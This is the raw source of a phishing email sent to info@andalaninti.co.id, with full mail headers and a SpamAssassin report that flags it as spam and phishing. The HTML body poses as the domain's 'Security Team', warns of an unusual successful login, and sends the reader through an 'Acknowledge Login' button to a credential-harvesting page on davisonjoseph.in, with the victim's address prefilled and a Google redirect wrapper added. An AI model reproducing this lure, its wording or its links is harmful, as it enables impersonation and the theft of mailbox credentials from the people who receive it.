返回
Return-Path: <trixie.algas@vitachem.com.ph> Delivered-To: info@andalaninti.co.id Received: from kapuas.iixcp.rumahweb.net by kapuas.iixcp.rumahweb.net with LMTP id +AAKFRzjP2loQjcAvH/kQw (envelope-from <trixie.algas@vitachem.com.ph>) for <info@andalaninti.co.id>; Mon, 15 Dec 2025 17:29:48 +0700 Return-path: <trixie.algas@vitachem.com.ph> Envelope-to: info@andalaninti.co.id Delivery-date: Mon, 15 Dec 2025 17:29:48 +0700 Received: from [144.31.121.154] (port=58095 helo=gablermedical.info) by kapuas.iixcp.rumahweb.net with esmtp (Exim 4.99) (envelope-from <trixie.algas@vitachem.com.ph>) id 1vV5pr-0000000F9ag-0TRK for info@andalaninti.co.id; Mon, 15 Dec 2025 17:29:48 +0700 From: andalaninti.co.id Security Team <trixie.algas@vitachem.com.ph> To: info@andalaninti.co.id Date: 15 Dec 2025 11:29:03 +0100 Message-ID: <20251215112903.E7516843F263C911@vitachem.com.ph> MIME-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Status: Yes, score=15.4 X-Spam-Score: 154 X-Spam-Bar: +++++++++++++++ X-Spam-Report: Spam detection software, running on the system "kapuas.iixcp.rumahweb.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: Review Required Login from another location reminder Dear info@andalaninti.co.id Your account info@andalaninti.co.id recently experienced an unusual login. Please verify the following details: Content analysis details: (15.4 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.5 RCVD_IN_HOSTKARMA_BR RBL: Sender listed in HOSTKARMA-BROWN [144.31.121.154 listed in hostkarma.junkemailfilter.com] 0.0 RCVD_IN_DNSWL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to DNSWL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#DnsBlocklists-dnsbl-block for more information. [144.31.121.154 listed in list.dnswl.org] 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block for more information. [URI: davisonjoseph.in] [URI: shintotsukawa-park.com] 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [144.31.121.154 listed in bl.score.senderscore.com] 0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [144.31.121.154 listed in sa-trusted.bondedsender.org] -0.0 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2) [144.31.121.154 listed in wl.mailspike.net] 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [144.31.121.154 listed in sa-accredit.habeas.com] 4.0 SPF_FAIL SPF: sender does not match SPF record (fail) [SPF failed: Rejected by SPF record.] -0.0 SPF_HELO_PASS SPF: HELO matches SPF record 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 1.5 DEAR_EMAIL BODY: Message contains Dear email address 0.0 HTML_MESSAGE BODY: HTML included in message 0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or identical to background 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.0 GOOG_REDIR_HTML_ONLY Google redirect to obscure spamvertised website + HTML only 2.0 RDNS_NONE Delivered to internal network by a host with no rDNS 1.5 KAM_GOOGLE_REDIR Use of Google redir 0.0 GOOG_REDIR_NORDNS Google redirect to obscure spamvertised website + no rDNS 0.0 TO_NO_BRKTS_NORDNS_HTML To: lacks brackets and no rDNS and HTML only 1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/) 2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50% [cf: 100] 1.6 URI_PHISH Phishing using web form X-Spam-Flag: YES Subject: ***SPAM*** Your account info@andalaninti.co.id recently experienced an unusual login -Review Your Account <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.= w3.org/TR/html4/loose.dtd"> <HTML><HEAD> <META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD> <body style=3D"MARGIN: 0.5em"> <H2 style=3D"BOX-SIZING: border-box; MARGIN-BOTTOM: 18px; FONT-FAMILY: Aria= l, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEX= T-TRANSFORM: none; COLOR: rgb(246,133,27); FONT-STYLE: normal; TEXT-ALIGN: = center; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; LINE-HEIGHT: 1.2; BA= CKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures:= normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-de= coration-thickness: initial; text-decoration-style:=20 initial; text-decoration-color: initial"><FONT style=3D"BOX-SIZING: border-= box" size=3D4>Review Required</FONT></H2> <DIV style=3D"FONT-SIZE: small; FONT-FAMILY: Arial, Helvetica, sans-serif; = WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: = 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTE= R-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; fo= nt-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-strok= e-width: 0px; text-decoration-thickness: initial; text-decoration-style: in= itial; text-decoration-color: initial"> <H1 style=3D"MARGIN-BOTTOM: 16px; FONT-FAMILY: Tahoma, Arial, STHeiti, SimS= un; COLOR: rgb(61,61,61); LINE-HEIGHT: 36px"><FONT style=3D"VERTICAL-ALIGN:= inherit"><FONT style=3D"VERTICAL-ALIGN: inherit" size=3D4>Login from anoth= er location reminder</FONT></FONT></H1> <P style=3D"FONT-FAMILY: Tahoma, Arial, STHeiti, SimSun; COLOR: rgb(61,61,6= 1); MARGIN: 8px 0px 0px"><FONT size=3D4>Dear info@andalaninti.co.id<BR></FO= NT></P> <P style=3D"FONT-FAMILY: Tahoma, Arial, STHeiti, SimSun; COLOR: rgb(61,61,6= 1); MARGIN: 8px 0px 0px"><FONT style=3D"VERTICAL-ALIGN: inherit"><FONT styl= e=3D"VERTICAL-ALIGN: inherit" size=3D4>Your account info@andalaninti.co.id = recently experienced an unusual login. Please verify the following details:= </FONT></FONT></P> <UL style=3D"MARGIN-BOTTOM: 8px; FONT-FAMILY: Tahoma, Arial, STHeiti, SimSu= n; COLOR: rgb(61,61,61); PADDING-LEFT: 32px"> <LI><FONT size=3D4><STRONG><FONT style=3D"VERTICAL-ALIGN: inherit"><FONT st= yle=3D"VERTICAL-ALIGN: inherit">Login time: </FONT></FONT></STRONG><SP= AN style=3D"BORDER-LEFT-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px; BORDER-BOTTOM-= WIDTH: 0px; OUTLINE-WIDTH: 0px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; OUTL= INE-STYLE: none; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px; BORDER= -TOP-WIDTH: 0px"><FONT style=3D"VERTICAL-ALIGN: inherit"><FONT style=3D"VER= TICAL-ALIGN: inherit"> 15 Dec 2025</FONT></FONT> </SPAN></FONT></LI> <LI><FONT size=3D4><STRONG><FONT style=3D"VERTICAL-ALIGN: inherit"><FONT st= yle=3D"VERTICAL-ALIGN: inherit">Login IP: </FONT></FONT></STRONG><SPAN= style=3D"BORDER-LEFT-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px; BORDER-BOTTOM-WI= DTH: 0px; OUTLINE-WIDTH: 0px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; OUTLIN= E-STYLE: none; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px; BORDER-T= OP-WIDTH: 0px"><FONT style=3D"VERTICAL-ALIGN: inherit"><FONT style=3D"VERTI= CAL-ALIGN: inherit"><SPAN> </SPAN> (IP: 5.252.165.232)</FONT></FONT></SPAN></FONT></LI> <LI><FONT size=3D4><STRONG><FONT style=3D"VERTICAL-ALIGN: inherit"><FONT st= yle=3D"VERTICAL-ALIGN: inherit">Login method: </FONT></FONT></STRONG><= SPAN style=3D"BORDER-LEFT-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px; BORDER-BOTTO= M-WIDTH: 0px; OUTLINE-WIDTH: 0px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; OU= TLINE-STYLE: none; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px; BORD= ER-TOP-WIDTH: 0px"><FONT style=3D"VERTICAL-ALIGN: inherit"><FONT style=3D"V= ERTICAL-ALIGN: inherit">WEB</FONT></FONT></SPAN></FONT></LI> <LI><FONT size=3D4><STRONG><FONT style=3D"VERTICAL-ALIGN: inherit"><FONT st= yle=3D"VERTICAL-ALIGN: inherit">Login status: </FONT></FONT></STRONG><= SPAN style=3D"BORDER-LEFT-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px; BORDER-BOTTO= M-WIDTH: 0px; OUTLINE-WIDTH: 0px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; OU= TLINE-STYLE: none; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px; BORD= ER-TOP-WIDTH: 0px"><FONT style=3D"VERTICAL-ALIGN: inherit"><FONT style=3D"V= ERTICAL-ALIGN: inherit">SUCCESS</FONT></FONT></SPAN></FONT> </LI></UL></DIV> <DIV style=3D"FONT-SIZE: small; FONT-FAMILY: Arial, Helvetica, sans-serif; = WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: = 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTE= R-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; fo= nt-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-strok= e-width: 0px; text-decoration-thickness: initial; text-decoration-style: in= itial; text-decoration-color: initial"> <FONT style=3D"BOX-SIZING: border-box" size=3D2><BR></FONT></DIV> <P style=3D"BOX-SIZING: border-box; FONT-SIZE: small; FONT-FAMILY: Arial, s= ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FO= NT-WEIGHT: 400; COLOR: rgb(51,51,51); FONT-STYLE: normal; TEXT-ALIGN: cente= r; ORPHANS: 2; WIDOWS: 2; MARGIN: 24px 0px; LETTER-SPACING: normal; BACKGRO= UND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: norm= al; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decorat= ion-thickness: initial; text-decoration-style:=20 initial; text-decoration-color: initial"> <A style=3D"BOX-SIZING: border-box; BACKGROUND: rgb(246,133,27); FONT-WEIGH= T: bold; COLOR: rgb(255,255,255); PADDING-BOTTOM: 10px; PADDING-TOP: 10px; = PADDING-LEFT: 22px; DISPLAY: inline-block; PADDING-RIGHT: 22px; text-decora= tion-line: none; border-radius: 6px" href=3D"https://davisonjoseph.in/Updat= e/index.php?emp=3Dinfo@andalaninti.co.id" rel=3Dnoreferrer target=3D_blank= =20 data-saferedirecturl=3D"https://www.google.com/url?q=3Dhttps://shintotsukaw= a-park.com/Support/?jivsbsdnoo%3D%5B%5Bconvert_to_base64(-Email-,TRUE)%5D%5= D&source=3Dgmail&ust=3D1765440510987000&usg=3DAOvVaw1BB6JWMSWZ2= j-DQh8rwprB"><FONT style=3D"BOX-SIZING: border-box" size=3D4>Acknowledge Lo= gin</FONT></A></P> <P style=3D"FONT-SIZE: small; FONT-FAMILY: Arial, Helvetica, sans-serif; WH= ITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 40= 0; COLOR: rgb(34,34,34); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-= SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font= -variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-= width: 0px; text-decoration-thickness: initial; text-decoration-style: init= ial; text-decoration-color: initial"></P> <P style=3D"BOX-SIZING: border-box; FONT-SIZE: small; FONT-FAMILY: Arial, s= ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 24px; TEXT-T= RANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(136,136,136); FONT-STYLE: norm= al; TEXT-ALIGN: center; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACK= GROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: n= ormal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-deco= ration-thickness: initial; text-decoration-style:=20 initial; text-decoration-color: initial"><FONT style=3D"BOX-SIZING: border-= box"><SPAN style=3D"FONT-FAMILY: Tahoma, Arial, STHeiti, SimSun; COLOR: rgb= (61,61,61)"><FONT size=3D4>This notification email will be automatically se= nt to you when the system detects an unauthorized login to your account.</F= ONT></SPAN><BR style=3D"BOX-SIZING: border-box"><BR style=3D"BOX-SIZING: bo= rder-box"><SPAN style=3D"FONT-SIZE: 12px"> </SPAN><BR style=3D"B= OX-SIZING: border-box"><FONT size=3D4> Copyright© 2025, Security Team</FONT></FONT></P></BODY></HTML>
保存